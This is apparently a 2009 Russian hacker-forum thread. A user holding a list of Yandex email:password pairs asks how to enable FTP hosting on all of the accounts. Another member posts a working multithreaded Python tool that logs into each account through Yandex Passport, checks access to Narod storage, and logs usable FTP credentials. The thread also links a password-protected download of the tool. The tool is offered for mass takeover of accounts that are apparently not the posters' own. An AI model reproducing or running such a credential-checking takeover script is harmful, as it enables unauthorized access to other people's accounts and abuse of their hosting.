Yandex >>> Narod

Discussion in 'Уязвимости Mail-сервисов' started by НTL, 23 Mar 2009.

  1. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Есть список:
    [email protected];Pass

    на всех аков надо сделать фтп и записать это в виде:

    Login:pass
     
  2. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    это сделать [email protected]:pass ?
    если да то реализация на питоне:
    Code:
    with open("source.txt", "r") as source:
       with open("out.txt", "w") as out:
         for line in source:
             line = line.split("@")
             out.write(line[0]+"@"+"ftp."+line[1].replace(";", ":"))
    
     
  3. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Это я могу в блокноте сделать. а мне надо чтобы у всех аков были активированы FTP
     
    #3 НTL, 23 Mar 2009
    Last edited: 23 Mar 2009
  4. Karantin

    Karantin Elder - Старейшина

    Joined:
    21 Dec 2007
    Messages:
    330
    Likes Received:
    146
    Reputations:
    24
    Наверное ему нужно там включить сайты =)
     
    1 person likes this.
  5. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Угу
     
  6. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    непонял.
    что на выходе хочеш получить?


    ftp://login:p[email protected] ?
     
  7. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    забейте на список, мне надо активировать фтп у всех аков
     
  8. sa~

    sa~ Elder - Старейшина

    Joined:
    18 Aug 2007
    Messages:
    649
    Likes Received:
    439
    Reputations:
    -2
    Если не умеешь кодить попросили чтобы накидали простенький скриптик за небольшую цену...
     
  9. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    неужели в паблике такова нету
     
  10. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    скинь 1-2 акка в личку -гляну, если там ничего заковыристого нету, то накорябаю на питоне
     
  11. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Там надо войти и нажать 1 кнопку
     
  12. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Code:
    #! /usr/bin/env python
    # -*- coding:windows-1251 -*-
    #yandex ftp-activator
    #(c)[NDC] login999
    #http://forum.devisible.ru
    
    import re
    import urllib2
    import urllib
    import cookielib
    import time
    import threading
    from Queue import Queue
    queue = Queue()
    
    def master_Thread(queu):
        iterator = iter(accounts)
        while True:
            try:
                if queu.qsize() < threads_count*3:
                    for x in xrange(threads_count*3):
                        account = iterator.next()
                        queu.put(account[:-1])
            except StopIteration:
                return
            else:
                time.sleep(0.01)
    
    def write_to_log (mess):
        with open ("log.txt", "a") as log:
            log.write(mess + "\n")
            
    def write_succ (mess):
        with open ("succ.txt", "a") as log:
            log.write(mess.lower() + "\n")
            
    def write_bad (mess):
        with open ("bad.txt", "a") as log:
            log.write(mess.lower() + "\n")
    
    def Login():
        while True:
            try:
                login_pass = queue.get(False).split(";")
            except:
                write_to_log("All accounts was used")
                return
            login = login_pass[0]
            password = login_pass[1]
            cookie = cookielib.CookieJar()
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
            urllib2.install_opener(opener)
            headers = {"User-Agent" : "Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1" }
            data_s = {
                "login":login,
                "passwd":password,
                "retpath":"http://narod.yandex.ru"
                }
            send_data = urllib.urlencode(data_s)
            u_request = urllib2.Request("http://passport.yandex.ru/passport?mode=mauth", send_data, headers)
            try:
                login_page = str(urllib2.urlopen(u_request).read())
            except:
                queue.put(login_pass)
                write_to_log("Connection Error :" + login + ":" + password + " on logging in")
            else:
                if "http://passport.yandex.ru/passport?mode=logout" in login_page:
                    write_to_log("Logged in success for account :" + login + ":" + password)
                    u_request = urllib2.Request("http://narod.yandex.ru/disk/narod/", None, headers)
                    try:
                        login_page = str(urllib2.urlopen(u_request).read())
                    except:
                        queue.put(login_pass)
                        write_to_log("Connection Error :" + login + ":" + password + " on loading disk")
                    else:
                        if "/filemanager/" in login_page:
                            write_succ("ftp://" + login.split("@")[0] + ":" + password + "@ftp.narod.ru")
                        else:
                            write_bad(login_page)
                else:
                    queue.put(login_pass)
                    write_to_log("Not logged in for account :" + login + ":" + password)
    accounts_file = raw_input("Accounts FileName (login;pass):")
    threads_count = int(raw_input("How many Threads ?:"))
    with open (accounts_file, "r") as accounts:
        threading.Thread(target = master_Thread, args = [queue]).start()
        for x in xrange(threads_count):
            threading.Thread(target = Login).start()
    
    Пробуй это , вроде работает :)
    Если будет ругаться, качай отсюда: http://webfile.ru/3296652
    Пароль : antichat.ru
    инструкция по установке и запуску Python : http://forum.devisible.ru/showthread.php?t=182